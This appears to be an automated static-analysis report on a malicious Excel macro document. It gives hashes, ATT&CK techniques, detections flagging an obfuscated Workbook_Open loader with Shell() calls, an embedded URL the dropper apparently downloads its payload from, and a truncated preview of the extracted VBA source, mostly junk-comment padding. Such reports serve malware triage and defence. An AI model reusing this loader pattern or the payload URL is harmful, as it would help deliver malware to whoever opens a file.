Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b3c2256b00bed9df…

MALICIOUS

Office (OLE)

926.0 KB Created: 2018-06-24 09:18:10 Authoring application: Microsoft Excel First seen: 2020-02-04
MD5: c29b8ccf5a6c53c5e48e8ad052047acc SHA-1: cec8431f1307916214d8473834add2b4eee5633c SHA-256: b3c2256b00bed9dffb81fa3cb341f50386c48647a9c67ad1e3d5443d2e2e195e
284 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1140 Deobfuscate or Obfuscate Malicious Code

The file contains a Workbook_Open macro that triggers obfuscated VBA code. This code is designed to execute a secondary payload, likely by downloading it from the embedded URL. The presence of Shell() calls and an auto-exec loader strongly indicates a dropper or downloader functionality.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6588995-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6588995-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://a.coka.la/TkUHXy.jpg In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 697544 bytes
SHA-256: 69785e66c2887c7b725822cae85d683b135b44ffe5753eba4031fa9ea8fdb92f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 143 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()

ePWimjUGLrSJ.CDnwvvbTPF
'yOJEcmjBlHcICCJIyNcqhVcsLkXtSPcjlOTiGEjTbrElhfFCoZRri
Dim BCdmRssPqiVftXnjaBteIOqRqLffUEsykAjMpwpLrElIiGnHRSNYXNZm
'LLvFMMulqXusobteLinEdiikXXOCrTbXbxAdAjyeKzRLMuTpZjMpaUIddLhoy
Dim ruXwXRqbPdcjIueQXYdEYdHHmwGpWApBKfSEtPoddOJFkFRadMGnEkaO
End Sub





Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "ePWimjUGLrSJ"

Public Sub CDnwvvbTPF()

'TYVOCIYDGAEWUPLMYWHEOYCXABJHBWSWLZWWZXPQXUNIXOTEHRSHNYQLOXBESNLGVAOGFAAPDCLRNWYNFHXHRNGFLFGWRFORALXEXZPTRNIQZBXEEYNILHVKBKJQRZVPLUCRSGIAAEEDOQZZJWFHVGFNHTDHALTHFRTMTUYIGTARNZLXCEZSAHNUIPUBMSFKVJDEWYYVEENAKDHPRGISLRAFFYQLTXRTUGNIQOKRUGTYNUXLGYJKXACBXGBIJCXWNKCYPALRMLWQSWSCWHCTRZLGFXTZZAZZQQERGWERTDZRSNGVPPPOMBPTXBYSAISOLDBEMPGZEBARLLPMTDJLHFDPHKQBXNCFVPWABMAVPAIAHDMJHKSKKGXFCFVKDRKLNFZVGWPXUEYBRJRDGNUVRKVGHRCBLAGIKWOKVSDNHONFKCPBBFSYFIJNHBYPMTQWBHCKQATHFEHMLOI
'TYVOCIYDGAEWUPLMYWHEOYCXABJHBWSWLZWWZXPQXUNIXOTEHRSHNYQLOXBESNLGVAOGFAAPDCLRNWYNFHXHRNGFLFGWRFORALXEXZPTRNIQZBXEEYNILHVKBKJQRZVPLUCRSGIAAEEDOQZZJWFHVGFNHTDHALTHFRTMTUYIGTARNZLXCEZSAHNUIPUBMSFKVJDEWYYVEENAKDHPRGISLRAFFYQLTXRTUGNIQOKRUGTYNUXLGYJKXACBXGBIJCXWNKCYPALRMLWQSWSCWHCTRZLGFXTZZAZZQQERGWERTDZRSNGVPPPOMBPTXBYSAISOLDBEMPGZEBARLLPMTDJLHFDPHKQBXNCFVPWABMAVPAIAHDMJHKSKKGXFCFVKDRKLNFZVGWPXUEYBRJRDGNUVRKVGHRCBLAGIKWOKVSDNHONFKCPBBFSYFIJNHBYPMTQWBHCKQATHFEHMLOI
'TYVOCIYDGAEWUPLMYWHEOYCXABJHBWSWLZWWZXPQXUNIXOTEHRSHNYQLOXBESNLGVAOGFAAPDCLRNWYNFHXHRNGFLFGWRFORALXEXZPTRNIQZBXEEYNILHVKBKJQRZVPLUCRSGIAAEEDOQZZJWFHVGFNHTDHALTHFRTMTUYIGTARNZLXCEZSAHNUIPUBMSFKVJDEWYYVEENAKDHPRGISLRAFFYQLTXRTUGNIQOKRUGTYNUXLGYJKXACBXGBIJCXWNKCYPALRMLWQSWSCWHCTRZLGFXTZZAZZQQERGWERTDZRSNGVPPPOMBPTXBYSAISOLDBEMPGZEBARLLPMTDJLHFDPHKQBXNCFVPWABMAVPAIAHDMJHKSKKGXFCFVKDRKLNFZVGWPXUEYBRJRDGNUVRKVGHRCBLAGIKWOKVSDNHONFKCPBBFSYFIJNHBYPMTQWBHCKQATHFEHMLOI
'TYVOCIYDGAEWUPLMYWHEOYCXABJHBWSWLZWWZXPQXUNIXOTEHRSHNYQLOXBESNLGVAOGFAAPDCLRNWYNFHXHRNGFLFGWRFORALXEXZPTRNIQZBXEEYNILHVKBKJQRZVPLUCRSGIAAEEDOQZZJWFHVGFNHTDHALTHFRTMTUYIGTARNZLXCEZSAHNUIPUBMSFKVJDEWYYVEENAKDHPRGISLRAFFYQLTXRTUGNIQOKRUGTYNUXLGYJKXACBXGBIJCXWNKCYPALRMLWQSWSCWHCTRZLGFXTZZAZZQQERGWERTDZRSNGVPPPOMBPTXBYSAISOLDBEMPGZEBARLLPMTDJLHFDPHKQBXNCFVPWABMAVPAIAHDMJHKSKKGXFCFVKDRKLNFZVGWPXUEYBRJRDGNUVRKVGHRCBLAGIKWOKVSDNHONFKCPBBFSYFIJNHBYPMTQWBHCKQATHFEHMLOI
'TYVOCIYDGAEWUPLMYWHEOYCXABJHBWSWLZWWZXPQXUNIXOTEHRSHNYQLOXBESNLGVAOGFAAPDCLRNWYNFHXHRNGFLFGWRFORALXEXZPTRNIQZBXEEYNILHVKBKJQRZVPLUCRSGIAAEEDOQZZJWFHVGFNHTDHALTHFRTMTUYIGTARNZLXCEZSAHNUIPUBMSFKVJDEWYYVEENAKDHPRGISLRAFFYQLTXRTUGNIQOKRUGTYNUXLGYJKXACBXGBIJCXWNKCYPALRMLWQSWSCWHCTRZLGFXTZZAZZQQERGWERTDZRSNGVPPPOMBPTXBYSAISOLDBEMPGZEBARLLPMTDJLHFDPHKQBXNCFVPWABMAVPAIAHDMJHKSKKGXFCFVKDRKLNFZVGWPXUEYBRJRDGNUVRKVGHRCBLAGIKWOKVSDNHONFKCPBBFSYFIJNHBYPMTQWBHCKQATHFEHMLOI
'TYVOCIYDGAEWUPLMYWHEOYCXABJHBWSWLZWWZXPQXUNIXOTEHRSHNYQLOXBESNLGVAOGFAAPDCLRNWYNFHXHRNGFLFGWRFORALXEXZPTRNIQZBXEEYNILHVKBKJQRZVPLUCRSGIAAEEDOQZZJWFHVGFNHTDHALTHFRTMTUYIGTARNZLXCEZSAHNUIPUBMSFKVJDEWYYVEENAKDHPRGISLRAFFYQLTXRTUGNIQOKRUGTYNUXLGYJKXACBXGBIJCXWNKCYPALRMLWQSWSCWHCTRZLGFXTZZAZZQQERGWERTDZRSNGVPPPOMBPTXBYSAISOLDBEMPGZEBARLLPMTDJLHFDPHKQBXNCFVPWABMAVPAIAHDMJHKSKKGXFCFVKDRKLNFZVGWPXUEYBRJRDGNUVRKVGHRCBLAGIKWOKVSDNHONFKCPBBFSYFIJNHBYPMTQWBHCKQATHFEHMLOI
'TYVOCIYDGAEWUPLMYWHEOYCXABJHBWSWLZWWZXPQXUNIXOTEHRSHNYQLOXBESNLGVAOGFAAPDCLRNWYNFHXHRNGFLFGWRFORALXEXZPTRNIQZBXEEYNILHVKBKJQRZVPLUCRSGIAAEEDOQZZJWFHVGFNHTDHALTHFRTMTUYIGTARNZLXCEZSAHNUIPUBMSFKVJDEWYYVEENAKDHPRGISLRAFFYQLTXRTUGNIQOKRUGTYNUXLGYJKXACBXGBIJCXWNKCYPALRMLWQSWSCWHCTRZLGFXTZZAZZQQERGWERTDZRSNGVPPPOMBP
... (truncated)

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